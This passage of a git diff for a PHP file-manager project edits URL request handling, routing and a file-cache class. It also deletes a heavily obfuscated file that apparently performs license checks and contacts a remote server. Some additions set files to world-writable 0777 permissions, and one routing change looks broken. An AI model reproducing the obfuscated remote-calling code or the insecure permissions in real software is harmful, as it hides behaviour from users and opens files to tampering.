- if(preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|iphone|ipad|ipod|android|xoom)/i',
+ if(preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|iphone|ipad|ipod|android|xoom|miui)/i',
strtolower($_SERVER['HTTP_USER_AGENT']))){
return true;
}
@@ -266,6 +277,12 @@ function curl_progress_get($file,$uuid=''){
// http://blog.csdn.net/havedream_one/article/details/52585331
// php7.1 curl上传中文路径文件失败问题?【暂时通过重命名方式解决】
function url_request($url,$method='GET',$data=false,$headers=false,$options=false,$json=false,$timeout=3600){
+ if(!$url){
+ return array(
+ 'data' => 'url error! url='.$url,
+ 'code' => 0
+ );
+ }
ignore_timeout();
$ch = curl_init();
$upload = false;
@@ -312,11 +329,19 @@ function url_request($url,$method='GET',$data=false,$headers=false,$options=fals
// post数组或拼接的参数;不同方式服务器兼容性有所差异
// http://blog.csdn.net/havedream_one/article/details/52585331
- if ($data && is_array($headers) && $method != 'DOWNLOAD' &&
- in_array('Content-Type: application/x-www-form-urlencoded',$headers)) {
- $data = http_build_query($data);
+ // post默认用array发送;content-type为x-www-form-urlencoded时用key=1&key=2的形式
+ if (is_array($data) && is_array($headers) && $method != 'DOWNLOAD'){
+ foreach ($headers as $key) {
+ if(strstr($key,'x-www-form-urlencoded')){
+ $data = http_build_query($data);
+ break;
+ }
+ }
}
if($method == 'GET' && $data){
+ if(is_array($data)){
+ $data = http_build_query($data);
+ }
if(strstr($url,'?')){
$url = $url.'&'.$data;
}else{
@@ -429,7 +454,10 @@ function url_request($url,$method='GET',$data=false,$headers=false,$options=fals
);
return $return;
}
-
+function curl_get_contents($url){
+ $data = url_request($url);
+ return $data['data'];
+}
function get_headers_curl($url,$timeout=30,$depth=0,&$headers=array()){
if(!function_exists('curl_init')){
@@ -635,7 +663,7 @@ function stripslashes_deep($value){
}
function parse_url_route(){
- $param = str_replace($_SERVER['SCRIPT_NAME'],"",$_SERVER['PHP_SELF']);
+ $param = str_replace($_SERVER['SCRIPT_NAME'],"",$_SERVER['SCRIPT_NAME']);
if($param && substr($param,0,1) == '/'){
$arr = explode('&',$param);
$arr[0] = ltrim($arr[0],'/');
diff --git a/app/kod/.cache_data b/app/kod/.cache_data
deleted file mode 100755
index 87cfae8..0000000
--- a/app/kod/.cache_data
+++ /dev/null
@@ -1,2 +0,0 @@
-$Ï{0x0f},$Ï[0x0010] =>$Ï{0x00011},$Ï[0x000012] =>$Ï{0x0f},$Ï{0x0000013} =>$Ï[0x014],$Ï{0x0015} =>$Ï[0x014],$Ï[0x00016] =>$Ï{0x00011},$Ï{0x000017} =>$Ï{0x00011},$Ï[0x0000018] =>$Ï{0x00011},$Ï{0x019} =>$Ï[0x001a],);$=$GLOBALS[$Ï[0]][$Ï[0x0002]][$Ï{0x0001b}];σՂ႐ا݀峠ﴥŷ;if(isset($ȫ[$])&& $<$ȫ[$]){return !1;}return check_user_select($);}function system_space(){$=&$GLOBALS{};$̗=$[0x00001c];đ;$=$GLOBALS[$[0]][$[0x0002]][${0x0001b}];ɡ䶍ƙ;if($==$̗){return !1;}return !0;}function systemMemberData(){$峴=&$GLOBALS{};global$in;$=ST.$峴{0x000001d}.ACT;㩒ɵ;$=$峴[0x00001c];$=$峴[0x01e];$=$峴{0x001f};;$=$峴[0x00020];Ɠڛ;$=$峴{0x000021};$=$峴[0x0000022];$=$峴{0x023};ۡۦĎܠٖ䉻в;$ĵ=$GLOBALS[$峴[0]][$峴[0x0002]][$峴{0x0001b}];֓ю뷗䒴;if(!$ĵ|| !in_array($ĵ,array($,$,$,$,$,$,$))){$ĵ=$;}$=new FileCache(USER_SYSTEM.$峴[0x0024]);$߄=array($=>0x0a,$=>0x014,$=>0x032,$=>0x096,$=>0x01f4,$=>0x03e8,$=>0x03e8,);ͭᵁ;$=$->get();$=$߄[$ĵ];ÖŴԍ;if($==$峴{0x00025}){if($ĵ==$&& isset($in[$峴[0x000026]])){show_json(LNG($峴{0x0000027}),!1,$峴[0x028]);}if(count($)>=$&& $!=0x03e8){show_json(LNG($峴{0x0029}),!1,$峴[0x028]);}}if($==$峴{0x00025} || $==$峴[0x0002a]){if($ĵ==$&& isset($in[$峴{0x0000d}])){show_json(LNG($峴{0x0000027}),!1,$峴[0x028]);}}if($==$峴{0x00002b}){if(count($)>$&& $!=0x03e8){$=0x001;$=array();foreach($ as $=>$){if($>$)break;$[$]=$;$++;}$->reset($,!1);ؗԇܣ;}$=$->get();ڼ;if($ĵ==$){$=array();foreach($ as $=>$){unset($[$峴{0x0000d}]);$[$]=$;}$->reset($,!1);}}return $;}function systemGroupData(){$=&$GLOBALS{};global$in;$祕=ST.${0x000001d}.ACT;$ۺ=$[0x00001c];;$=$[0x01e];;$=${0x001f};;$ڰ=$[0x00020];骋;$=${0x000021};$џ=$[0x0000022];$Ŵ=${0x023};㙟ْԻԕ;$=$GLOBALS[$[0]][$[0x0002]][${0x0001b}];if(!$|| !in_array($,array($ۺ,$,$,$ڰ,$,$џ,$Ŵ))){$=$ۺ;}$=new FileCache(USER_SYSTEM.$[0x000002c]);$=array($ۺ=>0x001,$=>0x05,$=>0x014,$ڰ=>0x01e,$=>0x064,$џ=>0x03e8,$Ŵ=>0x03e8,);$=$->get();;$Ŏ=$[$];if($祕==${0x02d}){if(count($)>=$Ŏ&& $Ŏ!=0x03e8){show_json(LNG(${0x0029}),!1,$[0x028]);}}if($祕==${0x02d} || $祕==$[0x002e]){if($==$ۺ&& isset($in[${0x0000d}])){show_json(LNG(${0x0000027}),!1,$[0x028]);}}if($祕==${0x0002f}){if(count($)>$Ŏ&& $Ŏ!=0x03e8){$=0x001;$ۯ=array();foreach($ as $祕=>$){if($>$Ŏ)break;$ۯ[$祕]=$;ƺ;$++;ˇçՂὠ;}$->reset($ۯ,!1);;}$=$->get();if($==$ۺ){$ۯ=array();foreach($ as $祕=>$){unset($[${0x0000d}]);$ۯ[$祕]=$;}$->reset($ۯ,!1);}}return $;}function systemRoleData(){$=&$GLOBALS{};$=ST.${0x000001d}.ACT;ڤ;$͎=$[0x00001c];ߴ沩ٓ꠰;ȪӅ㱼;if($==$[0x000030]){version_install();exit;}$=&$GLOBALS[$[0]][$[0x0002]];if(!init_version_check()){$[${0x0001b}]=$͎;if($!=${0x0000031} && is_array($_SESSION[$[0x032]])&& $_SESSION[$[0x032]][${0x0033}]==$[0x00034]){version_reset(!1);include(TEMPLATE.${0x000035});exit;}}$φ=new FileCache(USER_SYSTEM.$[0x0000036]);return $φ;}function init_version_check(){$=&$GLOBALS{};$=&$GLOBALS[$[0]][$[0x0002]];$=${0x037};$=$[0x00001c];$=$[0x01e];$=${0x001f};߭ԏ˳é٩߫;$=$[0x00020];$Ȉ=${0x000021};禊䄅شᑆ֊Ř;$=$[0x0000022];$=${0x023};if(!isset($[${0x0001b}])|| !in_array($[${0x0001b}],array($,$,$,$,$Ȉ,$,$))){$[${0x0001b}]=$;}if($[${0x0001b}]==$){unset($[$[0x0038]]);return !0;}if(!isset($[${0x0001b}])|| !isset($[${0x00039}])|| !isset($[$[0x00003a]])|| !isset($[${0x000003b}])|| !isset($[$[0x03c]])){return !1;}if(strlen($[${0x0001b}])!=0x001|| strlen($[${0x00039}])!=0x0010|| strlen($[$[0x00003a]])!=0x0003e|| strlen($[${0x000003b}])!=0x0010){return !1;}$=substr($[$[0x00003a]],0x00020);$ō=md5($.$[${0x00039}].$[${0x000003b}].$[${0x0001b}]);if($ō!=substr($[$[0x00003a]],0,0x00020)){return !1;}$٦=Mcrypt::decode($[$[0x03c]],md5($.$[$[0x00003a]]));$=${0x003d};ϛέČ̤ϸӴ;if(get_path_father($٦)==$){$٦=str_replace($,$[0x0003e],$٦);}$=!1;if(file_exists($٦)){$=file_get_contents($٦);$㘋=Mcrypt::decode($,md5($.$[${0x000003b}]));if($㘋!=${0x00003f} && strtotime($㘋)>time()){$=!0;}}if(!$){return !1;}$=substr(md5($[$[0x00003a]]),0x0a,0x0a);$=$.$[${0x0001b}].$[${0x000003b}];ϑıć᎕Ց·;$[$[0x0038]]=Mcrypt::encode($,$,0);ܱɎяÛļ;return !0;}function version_install(){$=&$GLOBALS{};$=&$GLOBALS[$[0]][$[0x0002]];ɻݯ̀ˬهᎿ;$=${0x037};ڥè;if(isset($_GET[$[0x0000040]])){version_reset(!0);header(${0x041});}if(!isset($_GET[$[0x0042]])){include(TEMPLATE.${0x000035});exit;}else{$=rand_string(0x0010);$=${0x00043};$=$GLOBALS[$[0]][$[0x000004]][$[0x000044]].$;$=str_replace(${0x0000045},$[0x046],$);$=$.${0x0047}.$_GET[$[0x0042]].$[0x00048].$;$.=${0x000049}.rawurlencode($_SERVER[$[0x000004a]]);if(defined(${0x04b})){$.=$[0x004c].INSTALL_CHANNEL;}$=json_decode(file_get_contents($),!0);if(is_array($)&& $[${0x0004d}]==!0&& is_array($[$[0x00004e]])){$ϼ=new FileCache(USER_SYSTEM.${0x000004f});$=$ϼ->get();$[${0x00039}]=$_GET[$[0x0042]];$[$[0x00003a]]=$[$[0x00004e]][$[0x050]];$[${0x000003b}]=$;$[${0x0001b}]=$[$[0x00004e]][${0x0051}];$=Mcrypt::decode($[$[0x03c]],md5($.$[$[0x00003a]]));del_file($);version_install_path($,$[$[0x00004e]]);$ϼ->reset($);$=BASIC_PATH.$[0x00052];if(!file_exists($)){$=${0x000053};file_put_contents($,$);}install_msg(LNG($[0x0000054]));}else{install_msg($[$[0x00004e]],!1);אحıݣŌנΔƐ·;}}}function install_msg($,$=true){$=&$GLOBALS{};$=$?${0x055} :$[0x0056];ỖȆ;show_tips($,$,0x0002,${0x00057});͛Ȉыڃ;}function version_install_path(&$,$ꐕ){$=&$GLOBALS{};$=$ꐕ[$[0x000058]];$=${0x037};Ȟȟ;$ԁ=${0x00003f};ឝ滴ʝǨ挈جʢӊ㔛;$=${0x0000059}.substr(md5(rand_string(0x014).time()),0x0f,0x0a).$[0x05a];$=array(BASIC_PATH.${0x005b},BASIC_PATH.$[0x0005c],BASIC_PATH.${0x00005d},DATA_PATH.$[0x000005e],DATA_PATH.${0x05f},DATA_PATH.$[0x0060]);$𐠣=${0x00003f};½пڀݍǚ蝥;foreach($ as $ʽ){if(file_exists($ʽ)&& is_writable($ʽ)){$𐠣=$ʽ.${0x00061}.$;break;}}if(isset($ꐕ[$[0x000062]])&& $ꐕ[$[0x000062]]==0x001){$𐠣=$[0x0003e].$;}$=Mcrypt::encode($,md5($.$[${0x000003b}]));file_put_contents($𐠣,$);if(!file_exists($𐠣)){install_msg(${0x0000063},!1);}$[$[0x03c]]=Mcrypt::encode($𐠣,md5($.$[$[0x00003a]]));return;ȧȜǯ藺劏ߝ柗;}function version_reset($=false){$=&$GLOBALS{};$=&$GLOBALS[$[0]][$[0x0002]];$=${0x037};܂햼ڐ;if(isset($[$[0x03c]])){$=Mcrypt::decode($[$[0x03c]],md5($.$[$[0x00003a]]));del_file($);}$铘=new FileCache(USER_SYSTEM.${0x000004f});$זϝ=$铘->get();unset($זϝ[${0x00039}]);;unset($זϝ[$[0x00003a]]);ڡ鈃ļͳ;unset($זϝ[${0x000003b}]);͉Ҫ֤Ϟ;unset($זϝ[$[0x03c]]);ߡ⢥у߫̀;if($){unset($זϝ[${0x0001b}]);}$铘->reset($זϝ);}
\ No newline at end of file
diff --git a/app/kod/FileCache.class.php b/app/kod/FileCache.class.php
index 7bcbadd..8eea4d7 100755
--- a/app/kod/FileCache.class.php
+++ b/app/kod/FileCache.class.php
@@ -163,27 +163,24 @@ class FileCache{
public static function load($file){//10000次需要4s 数据量差异不大。
if (!$file) return false;
$file = iconv_system($file);
- $fileLock = $file.'.lock';
- if ( (!file_exists($file) || filesize($file) == 0 ) &&
- !file_exists($fileLock) ){//并发下;正在写或删除
- @file_put_contents($file,CONFIG_EXIT);
+ if ( !file_exists($file) ){
+ @file_put_contents($file,CONFIG_EXIT.'[]');
+ chmod_path($file,0777);
+ return array();
}
$str = file_read_safe($file,10.4);
- if($str === false || strlen($str) == 0){
- //服务器崩溃下文件不存在异常恢复
- if( (!file_exists($file) || filesize($file) == 0 ) &&
- file_exists($fileLock) &&
- @filemtime($fileLock) > 1000 &&
- time() - @filemtime($fileLock) > 10
- ){
- @rename($fileLock,$file);
- }
+ if (strlen($str) == 0 ||
+ strlen($str) == strlen(CONFIG_EXIT) ){
+ @file_put_contents($file,CONFIG_EXIT.'[]');
+ chmod_path($file,0777);
+ return array();
+ }
+
+ if($str === false || strlen($str) < strlen(CONFIG_EXIT) ){
show_tips('[Error Code:1010] FileCache load error!'.$file);
}
-
- $str = substr($str, strlen(CONFIG_EXIT));
- $data= json_decode($str,true);
+ $data= json_decode(substr($str, strlen(CONFIG_EXIT)),true);
if (is_null($data)) $data = array();
return $data;
}
@@ -193,24 +190,22 @@ class FileCache{
public static function save($file,$data){//10000次需要6s
if (!$file) return false;
$file = iconv_system($file);
- if (!file_exists($file)){
- @touch($file);
+ if ( !file_exists($file) ){
+ @file_put_contents($file,CONFIG_EXIT);
+ chmod_path($file,0777);
}
- chmod_path($file,0777);
+
if (!path_writeable($file)) {
show_tips(BASIC_PATH."